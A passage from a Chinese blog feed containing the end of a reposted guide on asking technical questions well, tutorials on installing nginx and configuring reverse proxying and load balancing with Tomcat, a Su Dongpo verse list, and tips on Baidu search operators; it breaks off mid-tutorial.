。请注意当我尝试 C 时的奇怪现象。显然 florbish 正在 grommicking，但结果出人意料。通常在 Athlon MP 主机板上引起 grommicking 的原因是什么？有谁知道接下来我该做些什么测试才能找出问题？</p></blockquote><p>这个家伙，从另一个角度来看，值得去回答他。他表现出了解决问题的能力，而不是坐等天上掉答案。</p><p>在最后一个问题中，注意<code>告诉我答案</code>和<code>给我启示，指出我还应该做什么诊断工作</code>之间微妙而又重要的区别。</p><p>事实上，后一个问题源自于 2001 年 8 月在 Linux 内核邮件列表（lkml）上的一个真实的提问。我（Eric）就是那个提出问题的人。我在 Tyan S2464 主板上观察到了这种无法解释的锁定现象，列表成员们提供了解决这一问题的重要信息。</p><p>通过我的提问方法，我给了别人可以咀嚼玩味的东西；我设法让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力，并邀请他们与我共同探讨。通过告诉他们我所走过的弯路，以避免他们再浪费时间，我也表明了对他们宝贵时间的尊重。</p><p>事后，当我向每个人表示感谢，并且赞赏这次良好的讨论经历的时候， 一个 Linux 内核邮件列表的成员表示，他觉得我的问题得到解决并非由于我是这个列表中的<strong>名</strong>人，而是因为我用了正确的方式来提问。</p><p>黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙；我相信他是对的，如果我<strong>像</strong>个乞讨者那样提问，不论我是谁，一定会惹恼某些人或者被他们忽视。他建议我记下这件事，这直接导致了本指南的出现。</p><h2 id="如果得不到回答"><a href="#如果得不到回答" class="headerlink" title="如果得不到回答"></a>如果得不到回答</h2><p>如果仍得不到回答，请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视，虽然不可否认这种差别很难区分。</p><p>总的来说，简单的重复张贴问题是个很糟的点子。这将被视为无意义的喧闹。有点耐心，知道你问题答案的人可能生活在不同的时区，可能正在睡觉，也有可能你的问题一开始就没有组织好。</p><p>你可以通过其他渠道获得帮助，这些渠道通常更适合初学者的需要。</p><p>有许多网上的以及本地的使用者群组，由热情的软件爱好者（即使他们可能从没亲自写过任何软件）组成。通常人们组建这样的团体来互相帮助并帮助新手。</p><p>另外，你可以向很多商业公司寻求帮助，不论公司大还是小。别为要付费才能获得帮助而感到沮丧！毕竟，假使你的汽车发动机汽缸密封圈爆掉了 —— 完全可能如此 —— 你还得把它送到修车铺，并且为维修付费。就算软件没花费你一分钱，你也不能强求技术支持总是免费的。</p><p>对像是 Linux 这种大众化的软件，每个开发者至少会对应到上万名使用者。根本不可能由一个人来处理来自上万名使用者的求助电话。要知道，即使你要为这些协助付费，和你所购买的同类软件相比，你所付出的也是微不足道的（通常封闭源代码软件的技术支持费用比开源软件的要高得多，且内容也没那么丰富）。</p><h2 id="如何更好地回答问题"><a href="#如何更好地回答问题" class="headerlink" title="如何更好地回答问题"></a>如何更好地回答问题</h2><p><strong>态度和善一点</strong>。问题带来的压力常使人显得无礼或愚蠢，其实并不是这样。</p><p><strong>对初犯者私下回复</strong>。对那些坦诚犯错之人没有必要当众羞辱，一个真正的新手也许连怎么搜索或在哪找常见问题都不知道。</p><p><strong>如果你不确定，一定要说出来</strong>！一个听起来权威的错误回复比没有还要糟，别因为听起来像个专家很好玩，就给别人乱指路。要谦虚和诚实，给提问者与同行都树个好榜样。</p><p><strong>如果帮不了忙，也别妨碍他</strong>。不要在实际步骤上开玩笑，那样也许会毁了使用者的设置 —— 有些可怜的呆瓜会把它当成真的指令。</p><p><strong>试探性的反问以引出更多的细节</strong>。如果你做得好，提问者可以学到点东西 —— 你也可以。试试将蠢问题转变成好问题，别忘了我们都曾是新手。</p><p>尽管对那些懒虫抱怨一声 RTFM 是正当的，能指出文件的位置（即使只是建议个 Google 搜索关键词）会更好。</p><p><strong>如果你决定回答，就请给出好的答案</strong>。当别人正在用错误的工具或方法时别建议笨拙的权宜之计（workaround），应推荐更好的工具，重新界定问题。</p><p><strong>正面的回答问题</strong>！如果这个提问者已经很深入的研究而且也表明已经试过 X 、 Y 、 Z 、 A 、 B 、 C 但没得到结果，回答 <code>试试看 A 或是 B</code> 或者 <code>试试 X 、 Y 、 Z 、 A 、 B 、 C</code> 并附上一个链接一点用都没有。</p><p><strong>帮助你的社区从问题中学习</strong>。当回复一个好问题时，问问自己<code>如何修改相关文件或常见问题文件以免再次解答同样的问题？</code>，接着再向文件维护者发一份补丁。</p><p>如果你是在研究一番后才做出的回答，<strong>展现你的技巧而不是直接端出结果</strong>。毕竟<code>授人以鱼不如授人以渔</code>。</p><h2 id="相关资源"><a href="#相关资源" class="headerlink" title="相关资源"></a>相关资源</h2><p>如果你需要个人电脑、Unix 系统和网络如何运作的基础知识，参阅 <a href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/">Unix 系统和网络基本原理</a>。</p><p>当你发布软件或补丁时，试着按<a href="http://en.tldp.org/HOWTO/Software-Release-Practice-HOWTO/index.html">软件发布实践</a>操作。</p><h2 id="鸣谢"><a href="#鸣谢" class="headerlink" title="鸣谢"></a>鸣谢</h2><p>Evelyn Mitchel 贡献了一些愚蠢问题例子并启发了编写<code>如何更好地回答问题</code>这一节， Mikhail Ramendik 贡献了一些特别有价值的建议和改进。</p>]]></content>
      
      
      <categories>
          
          <category> 转载 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 转载 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>nginx的使用</title>
      <link href="/2020/07/12/nginx-de-shi-yong/"/>
      <url>/2020/07/12/nginx-de-shi-yong/</url>
      
        <content type="html"><![CDATA[<p><img src="http://nginx.org/nginx.png" alt=""></p><h3 id="1-Nginx是什么？"><a href="#1-Nginx是什么？" class="headerlink" title="1.Nginx是什么？"></a>1.Nginx是什么？</h3><p>1.1 nginx是一款高性能的http服务器/反向代理服务器一家电子邮件的（IMAP/POP3）代理服务器。有实验表明Nginx能够支持5W条链接的并发，并且对CPU,内存等资源消耗非常低，运行非常稳定，基本不用重启。</p><h3 id="2-Nginx的下载"><a href="#2-Nginx的下载" class="headerlink" title="2.Nginx的下载"></a>2.Nginx的下载</h3><p>进入<a href="http://nginx.org/en/download.html">http://nginx.org/en/download.html</a> 下载nginx<br><img src="https://s1.ax1x.com/2020/06/13/tvywCj.png" alt="img"></p><h3 id="3-Nginx安装"><a href="#3-Nginx安装" class="headerlink" title="3.Nginx安装"></a>3.Nginx安装</h3><h5 id="3-1-nginx安装环境"><a href="#3-1-nginx安装环境" class="headerlink" title="3.1 nginx安装环境"></a>3.1 nginx安装环境</h5><p>nginx是C语言开发，建议在linux上运行.</p><p><strong>gcc</strong></p><p>安装nginx需要先将官网下载的源码进行编译，编译依赖gcc环境，如果没有gcc环境，需要安装gcc：<code>yum –y install gcc-c++</code></p><p><strong>PCRE</strong></p><p>PCRE(Perl Compatible Regular Expressions)是一个Perl库，包括 perl 兼容的正则表达式库。nginx的http模块使用pcre来解析正则表达式，所以需要在linux上安装pcre库。</p><p><code>yum install -y pcre pcre-devel</code></p><p>注：pcre-devel是使用pcre开发的一个二次开发库。nginx也需要此库。</p><p><strong>zlib</strong></p><p>zlib库提供了很多种压缩和解压缩的方式，nginx使用zlib对http包的内容进行gzip，所以需要在linux上安装zlib库。</p><p><code>yum install -y zlib zlib-devel</code></p><p><strong>openssl</strong></p><p>OpenSSL 是一个强大的安全套接字层密码库，囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议，并提供丰富的应用程序供测试或其它目的使用。</p><p>nginx不仅支持http协议，还支持https（即在ssl协议上传输http），所以需要在linux安装openssl库。</p><p><code>yum install -y openssl openssl-devel</code></p><h5 id="3-2-编译安装"><a href="#3-2-编译安装" class="headerlink" title="3.2 编译安装"></a>3.2 编译安装</h5><p>将nginx-1.8.0.tar.gz拷贝至linux服务器。</p><p>解压：</p><p><code>tar -zxvf nginx-1.8.0.tar.gz</code></p><p><code>cd nginx-1.8.0</code></p><p> 1、 configure</p><p>./configure –help查询详细参数（参考本教程附录部分：nginx编译参数）</p><p>参数设置如下：</p><pre><code>./configure \--prefix=/usr/local/nginx \--pid-path=/var/run/nginx/nginx.pid \--lock-path=/var/lock/nginx.lock \--error-log-path=/var/log/nginx/error.log \--http-log-path=/var/log/nginx/access.log \--with-http_gzip_static_module \--http-client-body-temp-path=/var/temp/nginx/client \--http-proxy-temp-path=/var/temp/nginx/proxy \--http-fastcgi-temp-path=/var/temp/nginx/fastcgi \--http-uwsgi-temp-path=/var/temp/nginx/uwsgi \--http-scgi-temp-path=/var/temp/nginx/scgi</code></pre><p>注意：上边将临时文件目录指定为/var/temp/nginx，需要在/var下创建temp及nginx目录</p><p><code>mkdir -p /var/temp/nginx</code></p><p>2、 编译安装</p><p>make</p><p><code>make  install</code></p><p>安装成功查看安装目录</p><h5 id="3-3-启动nginx"><a href="#3-3-启动nginx" class="headerlink" title="3.3 启动nginx"></a>3.3 启动nginx</h5><p>cd /usr/local/nginx/sbin/</p><p>./nginx </p><p>查询nginx进程：</p><p>15098是nginx主进程的进程id，15099是nginx工作进程的进程id</p><p>注意：</p><p>执行./nginx启动nginx，这里可以-c指定加载的nginx配置文件，如下：</p><p>./nginx -c /usr/local/nginx/conf/nginx.conf</p><p>如果不指定-c，nginx在启动时默认加载conf/nginx.conf文件，此文件的地址也可以在编译安装nginx时指定./configure的参数（–conf-path= 指向配置文件（nginx.conf））</p><h5 id="3-4-停止nginx"><a href="#3-4-停止nginx" class="headerlink" title="3.4 停止nginx"></a>3.4 停止nginx</h5><p>方式1，快速停止：</p><p><code>cd /usr/local/nginx/sbin</code></p><p><code>./nginx -s stop</code></p><p>此方式相当于先查出nginx进程id再使用kill命令强制杀掉进程。</p><p>方式2，完整停止(建议使用)：</p><p><code>cd /usr/local/nginx/sbin</code></p><p><code>./nginx -s quit</code></p><p>此方式停止步骤是待nginx进程处理任务完毕进行停止。</p><h5 id="3-5-重启nginx"><a href="#3-5-重启nginx" class="headerlink" title="3.5 重启nginx"></a>3.5 重启nginx</h5><p>方式1，先停止再启动（建议使用）：</p><p>对nginx进行重启相当于先停止nginx再启动nginx，即先执行停止命令再执行启动命令。</p><p>如下：</p><p><code>./nginx -s quit</code></p><p><code>./nginx</code></p><p>方式2，重新加载配置文件：</p><p>当nginx的配置文件nginx.conf修改后，要想让配置生效需要重启nginx，使用-s reload不用先停止nginx再启动nginx即可将配置信息在nginx中生效，如下：</p><p><code>./nginx -s reload</code></p><h3 id="4-反向代理服务器"><a href="#4-反向代理服务器" class="headerlink" title="4.反向代理服务器"></a>4.反向代理服务器</h3><h5 id="4-1什么是反向代理"><a href="#4-1什么是反向代理" class="headerlink" title="4.1什么是反向代理"></a>4.1什么是反向代理</h5><p>通常的代理服务器，只用于代理内部网络对Internet的连接请求，客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送到代理服务器中由代理服务器向Internet上的web服务器发起请求，最终达到客户机上网的目的。</p><p>而反向代理（Reverse Proxy）方式是指以代理服务器来接受internet上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给internet上请求连接的客户端，此时代理服务器对外就表现为一个反向代理服务器。</p><p>如下图：<img src="https://s1.ax1x.com/2020/06/13/tvhSfO.jpg" alt=""></p><h5 id="4-2-nginx-tomcat反向代理"><a href="#4-2-nginx-tomcat反向代理" class="headerlink" title="4.2 nginx+tomcat反向代理"></a>4.2 nginx+tomcat反向代理</h5><p>两个tomcat服务通过nginx反向代理，本例子使用三台虚拟机进行测试，</p><p>nginx服务器：192.168.101.3</p><p>tomcat1服务器：192.168.101.5</p><p>tomcat2服务器：192.168.101.6</p><p>如下图：<br><img src="https://s1.ax1x.com/2020/06/13/tvh9pD.png" alt=""></p><h5 id="4-3-启动tomcat"><a href="#4-3-启动tomcat" class="headerlink" title="4.3 启动tomcat"></a>4.3 启动tomcat</h5><p>tomcat使用apache-tomcat-7.0.57版本，在192.168.101.5和192.168.101.6虚拟机上启动tomcat。</p><h5 id="4-4-nginx反向代理配置"><a href="#4-4-nginx反向代理配置" class="headerlink" title="4.4 nginx反向代理配置"></a>4.4 nginx反向代理配置</h5><p>根据上边的需求在nginx.conf文件中配置反向代理，如下：</p><p>配置一个代理即tomcat1服务器</p><p>upstream tomcat_server1 {</p><pre><code>    server 192.168.101.5:8080;}</code></pre><p>配置一个代理即tomcat2服务器</p><pre><code>upstream tomcat_server2 {        server 192.168.101.6:8080;    }</code></pre><p>配置一个虚拟主机</p><pre><code>server {    listen 80;    server_name aaa.test.com;    location / {</code></pre><p>域名aaa.test.com的请求全部转发到tomcat_server1即tomcat1服务上</p><pre><code>proxy_pass http://tomcat_server1;</code></pre><p>欢迎页面，按照从左到右的顺序查找页面</p><pre><code>            index index.jsp index.html index.htm;    }}server {    listen 80;    server_name bbb.test.com;    location / {</code></pre><p> 域名bbb.test.com的请求全部转发到tomcat_server2即tomcat2服务上</p><pre><code>              proxy_pass http://tomcat_server2;              index index.jsp index.html index.htm;    }}</code></pre><p> 6.2.4 测试<br>分别修改两个tomcat下的webapps/ROOT/index.jsp的内容，使用tomcat1和tomcat2两个服务首页显示不同的内容，如下：</p><p>tomcat1下的index.jsp修改后：</p><p><img src="https://s1.ax1x.com/2020/06/13/tv4iCT.png" alt=""></p><p>tomcat2下的index.jsp修改后：<br><img src="https://s1.ax1x.com/2020/06/13/tv4F8U.png" alt=""></p><p>分别访问aaa.test.com、bbb.test.com测试反向代理。</p><p>请求访问aaa.test.com通过nginx代理访问tomcat1，请求访问bbb.test.com通过nginx代理访问tomcat2。</p><h3 id="5-负载均衡"><a href="#5-负载均衡" class="headerlink" title="5 负载均衡"></a>5 负载均衡</h3><h5 id="5-1-什么是负载均衡"><a href="#5-1-什么是负载均衡" class="headerlink" title="5.1 什么是负载均衡"></a>5.1 什么是负载均衡</h5><p>负载均衡 建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。</p><p>负载均衡，英文名称为Load Balance，其意思就是分摊到多个操作单元上进行执行，例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等，从而共同完成工作任务。</p><h5 id="5-2-nginx实现负载均衡"><a href="#5-2-nginx实现负载均衡" class="headerlink" title="5.2 nginx实现负载均衡"></a>5.2 nginx实现负载均衡</h5><p>nginx作为负载均衡服务器，用户请求先到达nginx，再由nginx根据负载配置将请求转发至 tomcat服务器。</p><p>nginx负载均衡服务器：192.168.101.3</p><p>tomcat1服务器：192.168.101.5</p><p>tomcat2服务器：192.168.101.6<br><img src="https://s1.ax1x.com/2020/06/13/tv4C5V.png" alt=""></p><h5 id="5-3-配置"><a href="#5-3-配置" class="headerlink" title="5.3 配置"></a>5.3 配置</h5><p>根据上边的需求在nginx.conf文件中配置负载均衡，如下：</p><p>upstream tomcat_server_pool{</p><pre><code>    server 192.168.101.5:8080 weight=10;    server 192.168.101.6:8080 weight=10;    }server {    listen 80;    server_name aaa.test.com;    location / {             proxy_pass http://tomcat_server_pool;             index index.jsp index.html index.htm;    }}</code></pre><h5 id="5-4-测试"><a href="#5-4-测试" class="headerlink" title="5.4 测试"></a>5.4 测试</h5><p>请求aaa.test.com，通过nginx负载均衡，将请求转发到tomcat服务器。</p><p>通过观察tomcat的访问日志或tomcat访问页面即可知道当前请求由哪个tomcat服务器受理。</p>]]></content>
      
      
      
        <tags>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>苏东坡-人生赏心十六件乐事</title>
      <link href="/2020/06/30/su-dong-po-ren-sheng-shang-xin-shi-liu-jian-le-shi/"/>
      <url>/2020/06/30/su-dong-po-ren-sheng-shang-xin-shi-liu-jian-le-shi/</url>
      
        <content type="html"><![CDATA[<p>清溪浅水行舟；</p><p>微雨竹窗夜话；</p><p>暑至临溪濯足；</p><p>雨后登楼看山；</p><p>柳荫堤畔闲行；</p><p>花坞樽前微笑；</p><p>隔江山寺闻钟；</p><p>月下东邻吹箫；</p><p>晨兴半柱茗香；</p><p>午倦一方藤枕；</p><p>开瓮勿逢陶谢；</p><p>接客不着衣冠；</p><p>乞得名花盛开；</p><p>飞来家禽自语；</p><p>客至汲泉烹茶；</p><p>抚琴听者知音。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210630152112570.png" alt="image-20210630152112570"></p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>如何正确的使用百度精准搜索</title>
      <link href="/2020/06/30/ru-he-zheng-que-de-shi-yong-bai-du-jing-zhun-sou-suo/"/>
      <url>/2020/06/30/ru-he-zheng-que-de-shi-yong-bai-du-jing-zhun-sou-suo/</url>
      
        <content type="html"><![CDATA[<h1 id="如何正确的使用百度精准搜索"><a href="#如何正确的使用百度精准搜索" class="headerlink" title="如何正确的使用百度精准搜索"></a>如何正确的使用百度精准搜索</h1><h4 id="1-去除广告推荐"><a href="#1-去除广告推荐" class="headerlink" title="1. 去除广告推荐"></a>1. 去除广告推荐</h4><p>推荐使用工具:<code>Adblock Plus</code>  和  <code>AdGuard</code></p><p>也可以使用<code>Stylish</code>的拓展, 搜索<code>Baidu Lite</code>的皮肤</p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210626140821228.png" alt="image-20210626140821228" /><h4 id="2-精确搜索：双引号"><a href="#2-精确搜索：双引号" class="headerlink" title="2.精确搜索：双引号"></a>2.精确搜索：双引号</h4><p>精确搜索，就是在你要搜索的词上，加上双引号，那个 Google 搜索引擎，就会完全的匹配你所要的词</p><p>比如搜索：”前端GitHub”</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210626141154941.png" alt="image-20210626141154941"></p><h4 id="3-站内搜索：site"><a href="#3-站内搜索：site" class="headerlink" title="3.站内搜索：site"></a>3.站内搜索：site</h4><p>这是一个比较常用的搜索方法，<code>site 搜索</code>，就是在站内进行搜索.</p><p>语法是：<code>site:stackoverflow.com</code> ，其中 <code>site:后面加上你要搜索的网站地址</code>。</p><p>一般程序猿解决问题，用 <code>site:stackoverflow.com</code>，大部分解决不了的问题，都会有答案了。</p><p>比如在 segmentfault.com 里面搜索：”react打包npm run build生成的文件好大，怎样关掉生成 sourceMap” site:segmentfault.com</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210626141348952.png" alt="image-20210626141348952"></p><p>除了以上内容之外，还可以在 <code>工具</code> 那里进行筛选，有语言、时间、结果 3 种选项。</p><p><img src="https://segmentfault.com/img/remote/1460000038432194" alt="img"></p><p>如果想通过时间筛选出最近的的内容，就可以试试时间的筛选了</p><p><img src="https://segmentfault.com/img/remote/1460000038432204" alt="img"></p><p>还可以对结果进行 精确匹配 的筛选</p><p><img src="https://segmentfault.com/img/remote/1460000038432197" alt="img"></p><h4 id="4-配符搜索："><a href="#4-配符搜索：" class="headerlink" title="4.配符搜索：*"></a>4.配符搜索：*</h4><p>这也是一个比较常用的搜索方法，通常通配符搜索，用在模糊印象的地方比较多。</p><p>当我想搜一句歌词，“让我们同步进阶 重生的力量来自真我 战胜可敬的对手 yeah” ，但是前边的 “让我们同步进阶”，就可以用这个方法进行搜索了。搜索 *重生的力量来自真我</p><p>就会得到我们想要的结果了：林俊杰唱的《进阶》。</p><p><img src="https://segmentfault.com/img/remote/1460000038432199" alt="img"></p><h4 id="5-减号排除，缩小范围："><a href="#5-减号排除，缩小范围：" class="headerlink" title="5.减号排除，缩小范围：-"></a>5.减号排除，缩小范围：-</h4><p>当搜索量比较大的时候，使用减号 <code>-</code> 通过减号，能够去掉一些无关的搜索。</p><p>比如：全栈修炼 -全栈修炼之路</p><p><img src="https://segmentfault.com/img/remote/1460000038432196" alt="img"></p><h4 id="6-文档搜索：filetype"><a href="#6-文档搜索：filetype" class="headerlink" title="6.文档搜索：filetype"></a>6.文档搜索：filetype</h4><p>文档搜索命令 <code>filetype</code>，多数情况下用以查找我们所需要的资料，返回的页面是你搜索的文档相应格式。</p><p>如搜 JavaScript权威指南（第四版）的 pdf，就是: filetype:pdf JavaScript权威指南（第四版）</p><p><img src="https://segmentfault.com/img/remote/1460000038432195" alt="img"></p><h4 id="7-图片搜索"><a href="#7-图片搜索" class="headerlink" title="7.图片搜索"></a>7.图片搜索</h4><p>平常在网上考到一张好的图片，可以保持下来，但是由于图片的尺寸过小，或者像素不合适，这个时候，只要用谷歌图片搜索，就能找到许多类似的，或者尺寸清晰度更好的同一张。</p><p><img src="https://segmentfault.com/img/remote/1460000038432205" alt="img"></p><p><img src="https://segmentfault.com/img/remote/1460000038432201" alt="img"></p><p>比如我上传了一张 node 的 logo 的图片时，结果如下：</p><p><img src="https://segmentfault.com/img/remote/1460000038432203" alt="img"></p><h4 id="8-intitle-搜索范围限定在网页标题"><a href="#8-intitle-搜索范围限定在网页标题" class="headerlink" title="8.intitle - 搜索范围限定在网页标题"></a>8.intitle - 搜索范围限定在网页标题</h4><p>搜索范围限定在包含 <code>keyword</code> 的网页标题中，这也是最普通的搜索。</p><p><code>intitle</code>: 和后面的关键词之间不要有空格。</p><p>例如：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">intitle:前端开发</span><br></pre></td></tr></table></figure><p><img src="https://segmentfault.com/img/remote/1460000038432207" alt="img"></p><p>对比普通搜索的图，发现搜索到的内容有一点点不一样，但并无太大差别。</p><h4 id="9-inurl-搜索范围限定在-url-链接中"><a href="#9-inurl-搜索范围限定在-url-链接中" class="headerlink" title="9.inurl 搜索范围限定在 url 链接中"></a>9.inurl 搜索范围限定在 url 链接中</h4><p><strong>搜索范围限定在 <code>url</code> 链接中</strong>.</p><p>网页 <code>url</code> 中的某些信息，常常有某种有价值的含义。您如果对搜索结果的 <code>url</code> 做某种限定，可以获得良好的效果。</p><p>例如：前端教程 inurl:video</p><p>查询词 “前端教程” 是可以出现在网页的任何位置，而 “video” 则必须出现在网页 <code>url</code> 中。</p><p><img src="https://segmentfault.com/img/remote/1460000038432210" alt="img"></p><h4 id="10-书名号《》"><a href="#10-书名号《》" class="headerlink" title="10.书名号《》"></a>10.书名号<code>《》</code></h4><p>查询词加上书名号<code>《》</code>有两层特殊功能</p><ul><li>一是书名号会出现在搜索结果中；</li><li>二是被书名号括起来的内容，不会被拆分。</li></ul><p>比如：《JavaScript高级程序设计（第4版）》</p><p><img src="https://segmentfault.com/img/remote/1460000038432211" alt="img"></p><p>书名号在某些情况下特别有效果，比如查询词为手机，如果不加书名号在很多情况下出来的是通讯工具手机，而加上书名号后，《手机》结果就都是关于电影方面的了。</p><h4 id="11-包含特定查询词"><a href="#11-包含特定查询词" class="headerlink" title="11.+ 包含特定查询词"></a>11.+ 包含特定查询词</h4><p>查询词用加号 <code>+</code> 语法可以帮您在搜索结果中 <strong>必需包含特定的关键词</strong> 的所有网页。</p><p>例子：全栈工程师 +node</p><p>查询词 “全栈工程师” 在搜索结果中，“node” 被必需被包含在搜索结果中。</p><p><img src="https://segmentfault.com/img/remote/1460000038432206" alt="img"></p><h4 id="12-Filetype-搜索指定文档格式"><a href="#12-Filetype-搜索指定文档格式" class="headerlink" title="12.Filetype 搜索指定文档格式"></a>12.Filetype 搜索指定文档格式</h4><p>查询词用 <code>Filetype</code> 语法可以限定查询词出现在指定的文档中，支持文档格式有 <code>pdf，doc，xls，ppt，rtf</code>。对于找文档资料相当有帮助。</p><p>比如：filetype:pdf JavaScript高级程序设计（第4版）</p><p><img src="https://segmentfault.com/img/remote/1460000038432219" alt="img"></p><p>不过相对谷歌而已，百度的搜索是把自己的产品，放在前面，见上图，排在前面的都是百度自己的产品，百度文库。</p><hr><p>在百度搜索中，其中 <code>site</code> 命令和双引号关键词 <code>&quot; &quot;</code> 这两个命令用得相对较多，也最容易记住。</p>]]></content>
      
      
      <categories>
          
          <category> 搜索引擎 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SEO </tag>
            
            <tag> 精准搜索 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx反向代理</title>
      <link href="/2020/06/14/nginx-fan-xiang-dai-li/"/>
      <url>/2020/06/14/nginx-fan-xiang-dai-li/</url>
      
        <content type="html"><![CDATA[<p>Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，并在一个BSD-like 协议下发行。其特点是占有内存少，并发能力强。</p><p>Nginx 服务器的反向代理服务是其最常用的重要功能，由反向代理服务也可以衍生出很多与此相关的 Nginx 服务器重要功能，比如后面会介绍的负载均衡。本篇博客我们会先介绍 Nginx 的反向代理，当然在了解反向代理之前，我们需要先知道什么是代理以及什么是正向代理。</p><h1 id="1、代理"><a href="#1、代理" class="headerlink" title="1、代理"></a>1、代理</h1><p>在Java设计模式中，代理模式是这样定义的：给某个对象提供一个代理对象，并由代理对象控制原对象的引用。</p><p>　　可能大家不太明白这句话，在举一个现实生活中的例子：比如我们要买一间二手房，虽然我们可以自己去找房源，但是这太花费时间精力了，而且房屋质量检测以及房屋过户等一系列手续也都得我们去办，再说现在这个社会，等我们找到房源，说不定房子都已经涨价了，那么怎么办呢？最简单快捷的方法就是找二手房中介公司（为什么？别人那里房源多啊），于是我们就委托中介公司来给我找合适的房子，以及后续的质量检测过户等操作，我们只需要选好自己想要的房子，然后交钱就行了。</p><p>　　代理简单来说，就是如果我们想做什么，但又不想直接去做，那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的，我们委托中介公司帮我们找房子。</p><p>　　Nginx 主要能够代理如下几种协议，其中用到的最多的就是做Http代理服务器　　</p><h1 id="2-正向代理"><a href="#2-正向代理" class="headerlink" title="2.正向代理"></a>2.正向代理</h1><p>　　弄清楚什么是代理了，那么什么又是正向代理呢？</p><p>　　这里我再举一个例子：大家都知道，现在国内是访问不了 Google的，那么怎么才能访问 Google呢？我们又想，美国人不是能访问 Google吗（这不废话，Google就是美国的），如果我们电脑的对外公网 IP 地址能变成美国的 IP 地址，那不就可以访问 Google了。你很聪明，VPN 就是这样产生的。我们在访问 Google 时，先连上 VPN 服务器将我们的 IP 地址变成美国的 IP 地址，然后就可以顺利的访问了。</p><p>　　这里的 VPN 就是做正向代理的。正向代理服务器位于客户端和服务器之间，为了向服务器获取数据，客户端要向代理服务器发送一个请求，并指定目标服务器，代理服务器将目标服务器返回的数据转交给客户端。这里客户端是要进行一些正向代理的设置的。</p><p>　　PS：这里介绍一下什么是 VPN，VPN 通俗的讲就是一种中转服务，当我们电脑接入 VPN 后，我们对外 IP 地址就会变成 VPN 服务器的 公网 IP，我们请求或接受任何数据都会通过这个VPN 服务器然后传入到我们本机。这样做有什么好处呢？比如 VPN 游戏加速方面的原理，我们要玩网通区的 LOL，但是本机接入的是电信的宽带，玩网通区的会比较卡，这时候就利用 VPN 将电信网络变为网通网络，然后在玩网通区的LOL就不会卡了（注意：VPN 是不能增加带宽的，不要以为不卡了是因为网速提升了）。</p><p>　　可能听到这里大家还是很抽象，没关系，和下面的反向代理对比理解就简单了。　　</p><h1 id="3-反向代理"><a href="#3-反向代理" class="headerlink" title="3.反向代理"></a>3.反向代理</h1><p>反向代理和正向代理的区别就是：<strong>正向代理代理客户端，反向代理代理服务器。</strong></p><p>　　反向代理，其实客户端对代理是无感知的，因为客户端不需要任何配置就可以访问，我们只需要将请求发送到反向代理服务器，由反向代理服务器去选择目标服务器获取数据后，在返回给客户端，此时反向代理服务器和目标服务器对外就是一个服务器，暴露的是代理服务器地址，隐藏了真实服务器IP地址。</p><p>　　下面我们通过两张图来对比正向代理和方向代理：<br>　　<img src="https://s1.ax1x.com/2020/07/02/NLZjAS.jpg" alt=""><br>　　<img src="https://s1.ax1x.com/2020/07/02/NLZO78.jpg" alt=""><br>　　理解这两种代理的关键在于代理服务器所代理的对象是什么，正向代理代理的是客户端，我们需要在客户端进行一些代理的设置。而反向代理代理的是服务器，作为客户端的我们是无法感知到服务器的真实存在的。</p><p>　　总结起来还是一句话：<strong>正向代理代理客户端，反向代理代理服务器</strong>。</p><h1 id="4-Nginx-反向代理"><a href="#4-Nginx-反向代理" class="headerlink" title="4.Nginx 反向代理"></a>4.Nginx 反向代理</h1><p>首先：说一下准备工作，最少两个tomcat，另外设置两个域名并解析到本地ip（因为nginx是直接配置域名）</p><h4 id="4-1分别设置两个tomcat的-conf-server-xml中的端口号，如下"><a href="#4-1分别设置两个tomcat的-conf-server-xml中的端口号，如下" class="headerlink" title="4.1分别设置两个tomcat的/conf/server.xml中的端口号，如下"></a>4.1分别设置两个tomcat的/conf/server.xml中的端口号，如下</h4><p><img src="https://s1.ax1x.com/2020/07/02/NLu1H0.png" alt=""><br><img src="https://s1.ax1x.com/2020/07/02/NLulBq.png" alt=""><br>tomcat1端口号分别设置为: 8001</p><p>tomcat2端口号分别设置为：8002</p><h4 id="4-2添加测试内容"><a href="#4-2添加测试内容" class="headerlink" title="4.2添加测试内容"></a>4.2添加测试内容</h4><p>分别删除目录webapps下所有文件，新建一个文件夹ROOT，并在该目录下新建index.html</p><p>内容可以设置为：这里是8001端口。（另一个：这里是8002端口。）</p><h4 id="4-3启动两个Tomcat"><a href="#4-3启动两个Tomcat" class="headerlink" title="4.3启动两个Tomcat"></a>4.3启动两个Tomcat</h4><p>在这里会出线一个问题不能同时启动两个tomcat</p><p><img src="https://s1.ax1x.com/2020/07/02/NLuGNT.png" alt=""></p><p><img src="https://s1.ax1x.com/2020/07/02/NLu8EV.png" alt=""></p><h4 id="4-4访问下面两个路径"><a href="#4-4访问下面两个路径" class="headerlink" title="4.4访问下面两个路径"></a>4.4访问下面两个路径</h4><p>127.0.0.1/8001<br><img src="https://s1.ax1x.com/2020/07/02/NLKMGD.png" 